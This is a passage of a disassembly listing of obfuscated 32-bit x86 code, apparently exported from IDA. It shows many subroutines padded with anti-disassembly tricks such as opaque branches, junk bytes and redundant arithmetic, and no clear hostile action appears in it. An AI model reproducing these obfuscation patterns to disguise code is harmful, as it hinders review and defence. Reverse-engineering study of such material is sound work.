or ecx, 1
mov [ebp+var_4], ecx
loc_49D857: ; CODE XREF: sub_49D7B9+93j
mov edx, [ebp+var_4]
push edx
call off_4F1D0C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49D7B9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49D86B proc near ; DATA XREF: sub_4965D8+597o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DDC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 2
jo short loc_49D89D
jl short loc_49D89B
loc_49D896: ; CODE XREF: sub_49D86B:loc_49D89Bj
; sub_49D86B:loc_49D89Dj
jmp short loc_49D89F
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D89B: ; CODE XREF: sub_49D86B+29j
jz short loc_49D896
loc_49D89D: ; CODE XREF: sub_49D86B+27j
jmp short loc_49D896
; ---------------------------------------------------------------------------
loc_49D89F: ; CODE XREF: sub_49D86B:loc_49D896j
pop ecx
dec cl
dec cl
jo short loc_49D8AF
jl short loc_49D8AD
loc_49D8A8: ; CODE XREF: sub_49D86B:loc_49D8ADj
; sub_49D86B:loc_49D8AFj
jmp short loc_49D8B1
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D8AD: ; CODE XREF: sub_49D86B+3Bj
jz short loc_49D8A8
loc_49D8AF: ; CODE XREF: sub_49D86B+39j
jmp short loc_49D8A8
; ---------------------------------------------------------------------------
loc_49D8B1: ; CODE XREF: sub_49D86B:loc_49D8A8j
and al, cl
mov bh, 0Fh
and bl, 0
dec bh
sub bh, 3
dec bh
sub bh, 1
dec bh
jo short loc_49D8CF
jl short loc_49D8CD
loc_49D8C8: ; CODE XREF: sub_49D86B:loc_49D8CDj
; sub_49D86B:loc_49D8CFj
jmp short loc_49D8D1
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D8CD: ; CODE XREF: sub_49D86B+5Bj
jz short loc_49D8C8
loc_49D8CF: ; CODE XREF: sub_49D86B+59j
jmp short loc_49D8C8
; ---------------------------------------------------------------------------
loc_49D8D1: ; CODE XREF: sub_49D86B:loc_49D8C8j
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_49D8E1
not eax
add eax, 1
stc
jmp short loc_49D8E7
; ---------------------------------------------------------------------------
loc_49D8E1: ; CODE XREF: sub_49D86B+6Cj
not eax
add eax, 1
clc
loc_49D8E7: ; CODE XREF: sub_49D86B+74j
sbb eax, eax
add eax, 1
mov [ebp+var_C], eax
mov ecx, dword_4ED40C
xor ecx, dword_4ED410
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49D90F
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49D90F: ; CODE XREF: sub_49D86B+99j
mov eax, [ebp+var_8]
push eax
call off_4F1D64
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49D86B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49D923 proc near ; DATA XREF: sub_4965D8+14BBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D9C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Dh
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3CC
xor ecx, dword_4ED3D0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49D9B3
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49D9B3: ; CODE XREF: sub_49D923+85j
mov eax, [ebp+var_8]
push eax
call off_4F1D24
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49D923 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49D9C7 proc near ; DATA XREF: sub_4965D8+AE7o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 3
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 95h
sub bl, 9
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D8
xor ecx, dword_4ED3DC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49DA41
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49DA41: ; CODE XREF: sub_49D9C7+6Fj
mov eax, [ebp+var_8]
push eax
call off_4F1D30
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49D9C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49DA55 proc near ; DATA XREF: sub_4965D8+184o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 79h
sub cl, 4
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 13h
jo short loc_49DABB
jl short loc_49DAB9
loc_49DAB6: ; CODE XREF: sub_49DA55:loc_49DAB9j
; sub_49DA55:loc_49DABBj
jmp short loc_49DABD
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49DAB9: ; CODE XREF: sub_49DA55+5Fj
jz short loc_49DAB6
loc_49DABB: ; CODE XREF: sub_49DA55+5Dj
jmp short loc_49DAB6
; ---------------------------------------------------------------------------
loc_49DABD: ; CODE XREF: sub_49DA55:loc_49DAB6j
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 40h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F4
xor ecx, dword_4ED3F8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49DB12
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49DB12: ; CODE XREF: sub_49DA55+B2j
mov eax, [ebp+var_8]
push eax
call off_4F1D4C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49DA55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49DB26 proc near ; DATA XREF: sub_4965D8+D1Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DDC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 800h
pop ecx
dec ch
dec ch
sub ch, 3
sub ch, 1
dec ch
dec ch
and ah, ch
mov cl, 14h
dec cl
dec cl
sub cl, 2
dec cl
dec dl
sub cl, 1
dec cl
dec cl
dec dl
dec cl
dec dl
dec cl
sub cl, 3
dec cl
dec dl
sub cl, 1
dec cl
and al, cl
pop ecx
pop ebx
test eax, eax
jz short loc_49DB99
not eax
add eax, 1
stc
jmp short loc_49DB9F
; ---------------------------------------------------------------------------
loc_49DB99: ; CODE XREF: sub_49DB26+69j
not eax
add eax, 1
clc
loc_49DB9F: ; CODE XREF: sub_49DB26+71j
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED40C
xor ecx, dword_4ED410
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49DBC6
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49DBC6: ; CODE XREF: sub_49DB26+95j
mov eax, [ebp+var_8]
push eax
call off_4F1D64
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49DB26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49DBDA proc near ; DATA XREF: sub_4965D8+A1Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DAC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1E00h
pop ebx
jo short loc_49DC10
jl short loc_49DC0E
loc_49DC09: ; CODE XREF: sub_49DBDA:loc_49DC0Ej
; sub_49DBDA:loc_49DC10j
jmp short loc_49DC12
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49DC0E: ; CODE XREF: sub_49DBDA+2Dj
jz short loc_49DC09
loc_49DC10: ; CODE XREF: sub_49DBDA+2Bj
jmp short loc_49DC09
; ---------------------------------------------------------------------------
loc_49DC12: ; CODE XREF: sub_49DBDA:loc_49DC09j
sub bh, 4
dec bh
push eax
dec bh
dec bh
jo short loc_49DC27
jl short loc_49DC25
loc_49DC20: ; CODE XREF: sub_49DBDA:loc_49DC25j
; sub_49DBDA:loc_49DC27j
jmp short loc_49DC29
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49DC25: ; CODE XREF: sub_49DBDA+44j
jz short loc_49DC20
loc_49DC27: ; CODE XREF: sub_49DBDA+42j
jmp short loc_49DC20
; ---------------------------------------------------------------------------
loc_49DC29: ; CODE XREF: sub_49DBDA:loc_49DC20j
and eax, 40h
dec bh
sub bh, 12h
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 12h
dec dl
sub dl, 1
dec dl
sub dl, 7
dec dl
dec dl
dec dl
dec dl
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3DC
xor ecx, dword_4ED3E0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49DC7C
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49DC7C: ; CODE XREF: sub_49DBDA+97j
mov eax, [ebp+var_8]
push eax
call off_4F1D34
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49DBDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49DC90 proc near ; DATA XREF: sub_4965D8+F6Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0D00h
pop ebx
jo short loc_49DCC6
jl short loc_49DCC4
loc_49DCBF: ; CODE XREF: sub_49DC90:loc_49DCC4j
; sub_49DC90:loc_49DCC6j
jmp short loc_49DCC8
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49DCC4: ; CODE XREF: sub_49DC90+2Dj
jz short loc_49DCBF
loc_49DCC6: ; CODE XREF: sub_49DC90+2Bj
jmp short loc_49DCBF
; ---------------------------------------------------------------------------
loc_49DCC8: ; CODE XREF: sub_49DC90:loc_49DCBFj
sub bh, 5
dec bh
push eax
dec bh
dec bh
and eax, 41h
dec bh
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 20h
sub dl, 19h
dec dl
dec dl
dec dl
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3E0
xor ecx, dword_4ED3E4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49DD19
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49DD19: ; CODE XREF: sub_49DC90+7Ej
mov eax, [ebp+var_8]
push eax
call off_4F1D38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49DC90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49DD2D proc near ; DATA XREF: sub_4965D8+4E1o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 3
dec bh
sub bh, 2
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 0B5h
dec bl
dec esi
dec bl
dec bl
dec edi
dec bl
sub bl, 14h
dec bl
dec bl
sub bl, 20h
dec edi
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49DDBE
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49DDBE: ; CODE XREF: sub_49DD2D+86j
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49DD2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49DDD2 proc near ; DATA XREF: sub_4965D8+899o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D94
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 77h
sub cl, 2
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C4
xor ecx, dword_4ED3C8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49DE87
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49DE87: ; CODE XREF: sub_49DDD2+AAj
mov eax, [ebp+var_8]
push eax
call off_4F1D1C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49DDD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49DE9B proc near ; DATA XREF: sub_4965D8+5ADo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D78
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AEh
sub cl, 2
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3A8
xor ecx, dword_4ED3AC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49DF57
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49DF57: ; CODE XREF: sub_49DE9B+B1j
mov eax, [ebp+var_8]
push eax
call off_4F1D00
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49DE9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49DF6B proc near ; DATA XREF: sub_4965D8+12F5o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 2
dec dh
dec dh
and ah, dh
mov dl, 0Eh
sub dl, 0FFh
jo short loc_49DF9E
jl short loc_49DF9C
loc_49DF99: ; CODE XREF: sub_49DF6B:loc_49DF9Cj
; sub_49DF6B:loc_49DF9Ej
jmp short loc_49DFA0
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49DF9C: ; CODE XREF: sub_49DF6B+2Cj
jz short loc_49DF99
loc_49DF9E: ; CODE XREF: sub_49DF6B+2Aj
jmp short loc_49DF99
; ---------------------------------------------------------------------------
loc_49DFA0: ; CODE XREF: sub_49DF6B:loc_49DF99j
sub dl, 0FEh
dec dl
sub dl, 0FFh
sub dl, 0Ah
sub dl, 0FFh
sub dl, 0FFh
jo short loc_49DFBA
jl short loc_49DFB8
loc_49DFB5: ; CODE XREF: sub_49DF6B:loc_49DFB8j
; sub_49DF6B:loc_49DFBAj
jmp short loc_49DFBC
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49DFB8: ; CODE XREF: sub_49DF6B+48j
jz short loc_49DFB5
loc_49DFBA: ; CODE XREF: sub_49DF6B+46j
jmp short loc_49DFB5
; ---------------------------------------------------------------------------
loc_49DFBC: ; CODE XREF: sub_49DF6B:loc_49DFB5j
sub dl, 1
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
sub dl, 3
sub dl, 0FFh
dec dl
inc dl
inc dl
inc dl
inc dl
and al, dl
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3E0
xor ecx, dword_4ED3E4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E00A
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E00A: ; CODE XREF: sub_49DF6B+94j
mov eax, [ebp+var_8]
push eax
call off_4F1D38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49DF6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E01E proc near ; DATA XREF: sub_4965D8+294o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D98
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1E00h
pop ebx
jo short loc_49E052
jl short loc_49E050
loc_49E04D: ; CODE XREF: sub_49E01E:loc_49E050j
; sub_49E01E:loc_49E052j
jmp short loc_49E054
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49E050: ; CODE XREF: sub_49E01E+2Dj
jz short loc_49E04D
loc_49E052: ; CODE XREF: sub_49E01E+2Bj
jmp short loc_49E04D
; ---------------------------------------------------------------------------
loc_49E054: ; CODE XREF: sub_49E01E:loc_49E04Dj
sub bh, 4
inc bh
dec bh
dec bh
push eax
dec bh
dec bh
inc bh
dec bh
jo short loc_49E06F
jl short loc_49E06D
loc_49E06A: ; CODE XREF: sub_49E01E:loc_49E06Dj
; sub_49E01E:loc_49E06Fj
jmp short loc_49E071
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49E06D: ; CODE XREF: sub_49E01E+4Aj
jz short loc_49E06A
loc_49E06F: ; CODE XREF: sub_49E01E+48j
jmp short loc_49E06A
; ---------------------------------------------------------------------------
loc_49E071: ; CODE XREF: sub_49E01E:loc_49E06Aj
and eax, 40h
dec bh
sub bh, 12h
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 12h
dec dl
sub dl, 1
dec dl
sub dl, 7
dec dl
dec dl
inc dl
dec dl
dec dl
dec dl
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3C8
xor ecx, dword_4ED3CC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E0C8
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E0C8: ; CODE XREF: sub_49E01E+9Fj
mov eax, [ebp+var_8]
push eax
call off_4F1D20
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E01E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E0DC proc near ; DATA XREF: sub_4965D8+1009o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 6
dec dh
jo short loc_49E106
jl short loc_49E104
loc_49E101: ; CODE XREF: sub_49E0DC:loc_49E104j
; sub_49E0DC:loc_49E106j
jmp short loc_49E108
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49E104: ; CODE XREF: sub_49E0DC+23j
jz short loc_49E101
loc_49E106: ; CODE XREF: sub_49E0DC+21j
jmp short loc_49E101
; ---------------------------------------------------------------------------
loc_49E108: ; CODE XREF: sub_49E0DC:loc_49E101j
sub dh, 2
push eax
mov eax, 800h
bswap eax
not eax
pop eax
sub dh, 3
and ah, dh
mov dl, 4
dec dl
sub dl, 2
dec dl
sub dl, 0FFh
and al, dl
not ah
bswap eax
bswap eax
not ah
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E15A
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E15A: ; CODE XREF: sub_49E0DC+73j
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E0DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E16E proc near ; DATA XREF: sub_4965D8+42Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 38h
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
sub bl, 5
dec bl
dec bl
dec bl
and eax, 0
dec bl
dec bl
sub bl, 10h
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
inc eax
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
mov eax, eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C0
xor ecx, dword_4ED3C4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E20B
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E20B: ; CODE XREF: sub_49E16E+92j
mov eax, [ebp+var_8]
push eax
call off_4F1D18
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E16E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E21F proc near ; DATA XREF: sub_4965D8+1130o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 100h
pop ebx
dec bh
jo short loc_49E255
jl short loc_49E253
loc_49E250: ; CODE XREF: sub_49E21F:loc_49E253j
; sub_49E21F:loc_49E255j
jmp short loc_49E257
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_49E253: ; CODE XREF: sub_49E21F+2Fj
jz short loc_49E250
loc_49E255: ; CODE XREF: sub_49E21F+2Dj
jmp short loc_49E250
; ---------------------------------------------------------------------------
loc_49E257: ; CODE XREF: sub_49E21F:loc_49E250j
add bh, 0FFh
add bh, 0FFh
add bh, 0FFh
add bh, 0FFh
inc bh
inc bh
inc bh
inc bh
and ah, bh
jo short loc_49E276
jl short loc_49E274
loc_49E271: ; CODE XREF: sub_49E21F:loc_49E274j
; sub_49E21F:loc_49E276j
jmp short loc_49E278
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49E274: ; CODE XREF: sub_49E21F+50j
jz short loc_49E271
loc_49E276: ; CODE XREF: sub_49E21F+4Ej
jmp short loc_49E271
; ---------------------------------------------------------------------------
loc_49E278: ; CODE XREF: sub_49E21F:loc_49E271j
mov bl, 14h
dec bl
sub bl, 5
dec bl
dec bl
dec bl
sub bl, 1
dec bl
dec bl
dec bl
sub bl, 3
and al, bl
pop ebx
pop edx
test eax, eax
jz short loc_49E2A1
not eax
add eax, 1
stc
jmp short loc_49E2A7
; ---------------------------------------------------------------------------
loc_49E2A1: ; CODE XREF: sub_49E21F+78j
not eax
add eax, 1
clc
loc_49E2A7: ; CODE XREF: sub_49E21F+80j
sbb eax, eax
neg eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3E0
xor ecx, dword_4ED3E4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E2D0
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E2D0: ; CODE XREF: sub_49E21F+A6j
mov eax, [ebp+var_8]
push eax
call off_4F1D38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E21F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E2E4 proc near ; DATA XREF: sub_4965D8+1240o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
